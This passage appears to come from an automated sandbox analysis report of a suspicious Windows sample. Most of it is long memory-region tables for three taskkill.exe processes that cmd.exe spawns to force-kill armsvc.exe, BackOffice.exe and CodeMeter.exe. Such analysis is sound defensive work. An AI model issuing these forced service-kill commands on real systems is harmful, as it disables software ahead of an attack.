wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #13: taskkill.exe
+
Information Value
ID #13
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM armsvc.exe /IM armsvc.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:20, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:15
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x668
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 678
0x 6E4
0x 884
0x 888
0x 890
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000b0000 0x000b0000 0x000b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x001bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001f0000 0x001f0000 0x001fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0023ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000260000 0x00260000 0x0029ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002dffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x002e0000 0x0039ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000003d0000 0x003d0000 0x0040ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000410000 0x00410000 0x0048ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004b0000 0x004b0000 0x004effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000580000 0x00580000 0x005bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000005c0000 0x005c0000 0x006bffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000006c0000 0x006c0000 0x00847fff Pagefile Backed Memory Readable True False False
  • Region Actions
taskkill.exe 0x008a0000 0x008b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000008c0000 0x008c0000 0x00a40fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000a50000 0x00a50000 0x01e4ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001e50000 0x01e50000 0x01f4ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001fb0000 0x01fb0000 0x01feffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002000000 0x02000000 0x0203ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002140000 0x02140000 0x0217ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02180000 0x0244efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002490000 0x02490000 0x024cffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a710000 0x6a7a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a8c0000 0x6a8d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a8f0000 0x6a918fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a920000 0x6a97bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a980000 0x6a989fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a990000 0x6a9c4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a9d0000 0x6a9defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9e0000 0x6a9f0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6aa00000 0x6aa0cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #14: taskkill.exe
+
Information Value
ID #14
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM BackOffice.exe /IM BackOffice.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:21, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:14
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x838
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 834
0x 8A0
0x 89C
0x 898
0x 8C4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x000f0000 0x000f3fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00120fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000130000 0x00130000 0x00130fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001e0000 0x001e0000 0x0021ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002d0000 0x002d0000 0x0030ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000340000 0x00340000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x003c0000 0x0047ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000004a0000 0x004a0000 0x004dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004e0000 0x004e0000 0x005dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000005e0000 0x005e0000 0x0061ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000620000 0x00620000 0x0065ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000690000 0x00690000 0x006cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000006d0000 0x006d0000 0x0070ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000710000 0x00710000 0x0074ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000750000 0x00750000 0x0075ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000760000 0x00760000 0x008e7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000008f0000 0x008f0000 0x00a70fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000a80000 0x00a80000 0x00b7ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00bb0000 0x00bc5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000bd0000 0x00bd0000 0x01fcffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x01fd0000 0x0229efff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000022b0000 0x022b0000 0x022effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002370000 0x02370000 0x023affff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a730000 0x6a747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a750000 0x6a7e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a8a0000 0x6a98afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a990000 0x6a99efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a9a0000 0x6a9a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9b0000 0x6a9c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a9d0000 0x6aa04fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #15: taskkill.exe
+
Information Value
ID #15
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM CodeMeter.exe /IM CodeMeter.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:21, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:14
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x8f0
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 908
0x 918
0x 8CC
0x 8C8
0x 8C0
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
